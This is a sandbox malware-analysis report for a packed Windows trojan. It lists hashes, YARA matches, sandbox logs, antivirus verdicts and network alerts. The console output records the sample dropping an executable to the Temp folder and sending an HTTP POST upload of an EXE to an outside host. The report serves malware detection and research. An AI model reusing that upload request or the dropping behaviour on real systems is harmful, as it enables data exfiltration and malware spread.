File b548bf713704345d20f700bce6e829b0a4a7899549f728ae893d822f42ce2dc5

Size 83.2KB
Type PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
MD5 cea8b7a64cf16f7a762f69e44076b02e
SHA1 29ebd5df1f919db7f5ed3da634a012a1f8908acc
SHA256 b548bf713704345d20f700bce6e829b0a4a7899549f728ae893d822f42ce2dc5
SHA512
e21b7772d78df384d9311ae5858f551709a86923197fe98c41ce098024f22b5707af70c25b41cef92ec36e5facb4737f7f8559957df3e4b325ea6e4f4317b0e0
CRC32 863C82E2
ssdeep None
Yara
  • UPX - (no description)
  • suspicious_packer_section - The packer/protector section names/keywords
  • network_tcp_socket - Communications over RAW socket

Score

This file is very suspicious, with a score of 10 out of 10!

Please notice: The scoring system is currently still in development and should be considered an alpha feature.


Autosubmit

6641904

Feedback

Expecting different results? Send us this analysis and we will inspect it. Click here

Information on Execution

Analysis
Category Started Completed Duration Routing Logs
FILE June 28, 2025, 3:48 p.m. June 28, 2025, 3:57 p.m. 541 seconds internet Show Analyzer Log
Show Cuckoo Log

Analyzer Log

2025-06-22 14:05:43,015 [analyzer] DEBUG: Starting analyzer from: C:\tmp2pjrvv
2025-06-22 14:05:43,015 [analyzer] DEBUG: Pipe server name: \??\PIPE\uiIBbzBXkLaKEyiSwNAWnLGJ
2025-06-22 14:05:43,015 [analyzer] DEBUG: Log pipe server name: \??\PIPE\kqBoTPlkzcVSfhvmlcvZ
2025-06-22 14:05:43,328 [analyzer] DEBUG: Started auxiliary module Curtain
2025-06-22 14:05:43,328 [analyzer] DEBUG: Started auxiliary module DbgView
2025-06-22 14:05:43,765 [analyzer] DEBUG: Started auxiliary module Disguise
2025-06-22 14:05:43,983 [analyzer] DEBUG: Loaded monitor into process with pid 504
2025-06-22 14:05:43,983 [analyzer] DEBUG: Started auxiliary module DumpTLSMasterSecrets
2025-06-22 14:05:43,983 [analyzer] DEBUG: Started auxiliary module Human
2025-06-22 14:05:43,983 [analyzer] DEBUG: Started auxiliary module InstallCertificate
2025-06-22 14:05:43,983 [analyzer] DEBUG: Started auxiliary module Reboot
2025-06-22 14:05:44,092 [analyzer] DEBUG: Started auxiliary module RecentFiles
2025-06-22 14:05:44,092 [analyzer] DEBUG: Started auxiliary module Screenshots
2025-06-22 14:05:44,092 [analyzer] DEBUG: Started auxiliary module Sysmon
2025-06-22 14:05:44,092 [analyzer] DEBUG: Started auxiliary module LoadZer0m0n
2025-06-22 14:05:44,217 [lib.api.process] INFO: Successfully executed process from path u'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\b548bf713704345d20f700bce6e829b0a4a7899549f728ae893d822f42ce2dc5.exe' with arguments '' and pid 3064
2025-06-22 14:05:44,453 [analyzer] DEBUG: Loaded monitor into process with pid 3064
2025-06-22 14:05:44,483 [analyzer] INFO: Added new file to list with pid 3064 and path C:\Users\Administrator\AppData\Local\Temp\rifaien2-mMD9qzGfMdkALaKQ.exe
2025-06-22 14:06:13,233 [analyzer] INFO: Analysis timeout hit, terminating analysis.
2025-06-22 14:06:13,780 [analyzer] INFO: Terminating remaining processes before shutdown.
2025-06-22 14:06:13,780 [lib.api.process] INFO: Successfully terminated process with pid 3064.
2025-06-22 14:06:13,796 [analyzer] INFO: Analysis completed.

Cuckoo Log

2025-06-28 15:48:13,360 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:14,400 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:15,434 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:16,464 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:17,493 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:18,533 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:19,559 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:20,587 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:21,615 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:22,635 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:23,692 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:24,768 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:25,864 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:26,945 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:28,028 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:29,120 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:30,220 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:31,298 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:32,367 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:33,472 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:34,567 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:35,641 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:36,713 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:37,895 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:38,949 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:40,049 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:41,136 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:42,209 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:43,265 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:44,450 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:48:45,717 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:12,841 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:13,872 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:14,899 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:15,928 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:16,953 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:17,977 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:19,021 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:20,054 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:21,082 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:22,111 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:23,134 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:24,150 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:25,196 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:26,225 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:27,270 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:28,315 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:29,357 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:30,385 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:31,419 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:32,456 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:33,493 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:34,533 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:35,591 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:36,658 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:37,721 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:38,790 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:39,849 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:40,909 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:41,990 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:43,077 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:44,255 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:45,359 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:46,478 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:47,766 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:48,801 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:49,854 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:50,891 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:51,923 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:52,960 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:53,999 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:55,043 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:56,134 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:57,203 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:58,295 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:49:59,449 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:00,491 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:01,530 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:02,578 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:03,620 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:04,668 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:05,709 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:06,749 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:07,937 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:08,962 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:09,982 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:11,010 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:12,042 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:13,061 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:14,094 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:15,117 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:16,152 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:17,284 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:18,309 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:19,367 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:20,528 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:21,645 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:22,810 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:23,981 [cuckoo.core.scheduler] DEBUG: Task #6607130: no machine available yet
2025-06-28 15:50:25,041 [cuckoo.core.scheduler] INFO: Task #6607130: acquired machine win7x648 (label=win7x648)
2025-06-28 15:50:25,045 [cuckoo.core.resultserver] DEBUG: Now tracking machine 192.168.168.208 for task #6607130
2025-06-28 15:50:25,415 [cuckoo.auxiliary.sniffer] INFO: Started sniffer with PID 2652582 (interface=vboxnet0, host=192.168.168.208)
2025-06-28 15:50:25,649 [cuckoo.machinery.virtualbox] DEBUG: Starting vm win7x648
2025-06-28 15:50:26,179 [cuckoo.machinery.virtualbox] DEBUG: Restoring virtual machine win7x648 to vmcloak
2025-06-28 15:53:28,431 [cuckoo.core.guest] INFO: Starting analysis #6607130 on guest (id=win7x648, ip=192.168.168.208)
2025-06-28 15:53:29,437 [cuckoo.core.guest] DEBUG: win7x648: not ready yet
2025-06-28 15:53:34,471 [cuckoo.core.guest] INFO: Guest is running Cuckoo Agent 0.10 (id=win7x648, ip=192.168.168.208)
2025-06-28 15:53:34,569 [cuckoo.core.guest] DEBUG: Uploading analyzer to guest (id=win7x648, ip=192.168.168.208, monitor=latest, size=6660546)
2025-06-28 15:53:35,758 [cuckoo.core.resultserver] DEBUG: Task #6607130: live log analysis.log initialized.
2025-06-28 15:53:36,688 [cuckoo.core.resultserver] DEBUG: Task #6607130 is sending a BSON stream
2025-06-28 15:53:37,142 [cuckoo.core.resultserver] DEBUG: Task #6607130 is sending a BSON stream
2025-06-28 15:53:38,003 [cuckoo.core.resultserver] DEBUG: Task #6607130: File upload for 'shots/0001.jpg'
2025-06-28 15:53:38,016 [cuckoo.core.resultserver] DEBUG: Task #6607130 uploaded file length: 134040
2025-06-28 15:53:50,702 [cuckoo.core.guest] DEBUG: win7x648: analysis #6607130 still processing
2025-06-28 15:54:05,843 [cuckoo.core.guest] DEBUG: win7x648: analysis #6607130 still processing
2025-06-28 15:54:06,384 [cuckoo.core.resultserver] DEBUG: Task #6607130: File upload for 'curtain/1750593973.5.curtain.log'
2025-06-28 15:54:06,387 [cuckoo.core.resultserver] DEBUG: Task #6607130 uploaded file length: 36
2025-06-28 15:54:06,605 [cuckoo.core.resultserver] DEBUG: Task #6607130: File upload for 'sysmon/1750593973.72.sysmon.xml'
2025-06-28 15:54:06,660 [cuckoo.core.resultserver] DEBUG: Task #6607130 uploaded file length: 1550498
2025-06-28 15:54:06,671 [cuckoo.core.resultserver] DEBUG: Task #6607130: File upload for 'files/cd515bce6de7ac6b_rifaien2-mmd9qzgfmdkalakq.exe'
2025-06-28 15:54:06,674 [cuckoo.core.resultserver] DEBUG: Task #6607130 uploaded file length: 85156
2025-06-28 15:54:06,991 [cuckoo.core.resultserver] DEBUG: Task #6607130: File upload for 'shots/0002.jpg'
2025-06-28 15:54:07,009 [cuckoo.core.resultserver] DEBUG: Task #6607130 uploaded file length: 133476
2025-06-28 15:54:07,023 [cuckoo.core.resultserver] DEBUG: Task #6607130 had connection reset for <Context for LOG>
2025-06-28 15:54:08,857 [cuckoo.core.guest] INFO: win7x648: analysis completed successfully
2025-06-28 15:54:08,870 [cuckoo.core.plugins] DEBUG: Stopped auxiliary module: Redsocks
2025-06-28 15:54:08,896 [cuckoo.core.plugins] DEBUG: Stopped auxiliary module: Sniffer
2025-06-28 15:54:09,665 [cuckoo.machinery.virtualbox] INFO: Successfully generated memory dump for virtual machine with label win7x648 to path /srv/cuckoo/cwd/storage/analyses/6607130/memory.dmp
2025-06-28 15:54:09,666 [cuckoo.machinery.virtualbox] DEBUG: Stopping vm win7x648
2025-06-28 15:57:14,004 [cuckoo.core.resultserver] DEBUG: Stopped tracking machine 192.168.168.208 for task #6607130
2025-06-28 15:57:14,497 [cuckoo.core.scheduler] DEBUG: Released database task #6607130
2025-06-28 15:57:14,564 [cuckoo.core.scheduler] INFO: Task #6607130: analysis procedure completed

Signatures

Yara rules detected for file (3 events)
description (no description) rule UPX
description The packer/protector section names/keywords rule suspicious_packer_section
description Communications over RAW socket rule network_tcp_socket
Command line console output was observed (10 events)
Time & API Arguments Status Return Repeated

WriteConsoleA

buffer: ma num wa rifaien yanje v1.0
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: ma num wa gyen orn hyzik rifaien2-mMD9qzGfMdkALaKQ.exe en exec ween NODE1
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: P
console_handle: 0x0000000b
1 1 0

WriteConsoleA

buffer: OST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: */* Content-Length: 85576 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------ad1c2534a68f2664
console_handle: 0x0000000b
1 1 0

WriteConsoleA

buffer: H
console_handle: 0x0000000b
1 1 0

WriteConsoleA

buffer: TTP/1.1 100 Continue
console_handle: 0x0000000b
1 1 0

WriteConsoleA

buffer: R
console_handle: 0x0000000b
1 1 0

WriteConsoleA

buffer: ecv failure: error
console_handle: 0x0000000b
1 1 0

WriteConsoleA

buffer: curl_easy_perform() failed: Error
console_handle: 0x0000000b
1 1 0

WriteConsoleA

buffer: ma au ga rre gyaje weel
console_handle: 0x00000007
1 1 0
The executable uses a known packer (1 event)
packer UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
Creates executable files on the filesystem (1 event)
file C:\Users\Administrator\AppData\Local\Temp\rifaien2-mMD9qzGfMdkALaKQ.exe
Drops an executable to the user AppData folder (1 event)
file C:\Users\Administrator\AppData\Local\Temp\rifaien2-mMD9qzGfMdkALaKQ.exe
The binary likely contains encrypted or compressed data indicative of a packer (2 events)
section {u'size_of_data': u'0x00014800', u'virtual_address': u'0x00014000', u'entropy': 7.71111529322461, u'name': u'UPX1', u'virtual_size': u'0x00015000'} entropy 7.71111529322 description A section with a high entropy has been found
entropy 0.993939393939 description Overall entropy of this PE file is high
The executable is compressed using UPX (3 events)
section UPX0 description Section name indicates UPX
section UPX1 description Section name indicates UPX
section UPX2 description Section name indicates UPX
One or more of the buffers contains an embedded PE file (1 event)
buffer Buffer with sha1: 97653fe98384b5bef285a95b60548b73adae825a
Raised Suricata alerts (2 events)
suricata ETPRO MALWARE Win32/Snojan Variant Uploading EXE
suricata ET INFO Generic HTTP EXE Upload Outbound
File has been identified by 11 AntiVirus engine on IRMA as malicious (11 events)
G Data Antivirus (Windows) Virus: Trojan.Agent.CYZT (Engine A), Win32.Application.Snojan.A (Engine B)
Avast Core Security (Linux) Win32:MalwareX-gen [Trj]
C4S ClamAV (Linux) YARA.UPX.UNOFFICIAL
WithSecure (Linux) Trojan.TR/Crypt.ULPM.Gen2
eScan Antivirus (Linux) Trojan.Agent.CYZT(DB)
ESET Security (Windows) a variant of Win32/Agent.AAEF trojan
Sophos Anti-Virus (Linux) Troj/Bdoor-BHD
ClamAV (Linux) Win.Malware.Cymt-10023133-0
Bitdefender Antivirus (Linux) Trojan.Agent.CYZT
Kaspersky Standard (Windows) HEUR:Flooder.Win32.CoreWarrior.a
Emsisoft Commandline Scanner (Windows) Trojan.Agent.CYZT (B)
File has been identified by 52 AntiVirus engines on VirusTotal as malicious (50 out of 52 events)
Bkav W32.AIDetectMalware
Cynet Malicious (score: 100)
CTX exe.trojan.cyzt
CAT-QuickHeal Trojan.AgentbPMF.S33725804
Skyhigh BehavesLike.Win32.Backdoor.mc
ALYac Trojan.Agent.CYZT
Cylance Unsafe
Sangfor Trojan.Win32.Save.a
CrowdStrike win/malicious_confidence_60% (D)
K7GW Trojan ( 005464da1 )
K7AntiVirus Trojan ( 005c835f1 )
Arcabit Trojan.Agent.CYZT
VirIT Trojan.Win32.AgentT.DYK
Symantec Hacktool.Flooder
Elastic malicious (moderate confidence)
ESET-NOD32 a variant of Win32/Agent.AAEF
ClamAV Win.Malware.Cymt-10023133-0
Kaspersky UDS:Flooder.Win32.CoreWarrior.a
NANO-Antivirus Trojan.Win32.Snojan.jqzopm
MicroWorld-eScan Trojan.Agent.CYZT
Rising Downloader.Snojan!8.ECDD (TFE:5:V47YrAkOYKG)
Emsisoft Trojan.Agent.CYZT (B)
F-Secure Trojan.TR/Crypt.ULPM.Gen2
DrWeb Tool.Snojan.1
VIPRE Trojan.Agent.CYZT
McAfeeD ti!B548BF713704
Trapmine suspicious.low.ml.score
Sophos Troj/Bdoor-BHD
SentinelOne Static AI - Suspicious PE
Jiangmin Downloader.Snojan.adp
Webroot Win.Trojan.Cyzt
Google Detected
Avira TR/Crypt.ULPM.Gen2
Antiy-AVL Trojan/Win32.Phonzy
Xcitium TrojWare.Win32.Snojan.B@7h1cjp
Microsoft Trojan:Win32/CoreWarrior.DA!MTB
ZoneAlarm Troj/Bdoor-BHD
GData Win32.Application.Snojan.A
Varist W32/Agent.FBOO-5422
AhnLab-V3 Downloader/Win.Generic.R665906
Acronis suspicious
VBA32 Flooder.CoreWarrior
DeepInstinct MALICIOUS
Malwarebytes Malware.AI.290255405
Ikarus Trojan.Agent
Tencent Trojan.Win32.Corewarrior.ca
Yandex Riskware.Flooder!j7BYbbJGLUM
huorong HVM:TrojanDownloader/Small.gen!A
MaxSecure Trojan.Malware.325666027.susgen
Fortinet Riskware/Snojan
Screenshots
Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action VT Location
No hosts contacted.
Cuckoo

We're processing your submission... This could take a few seconds.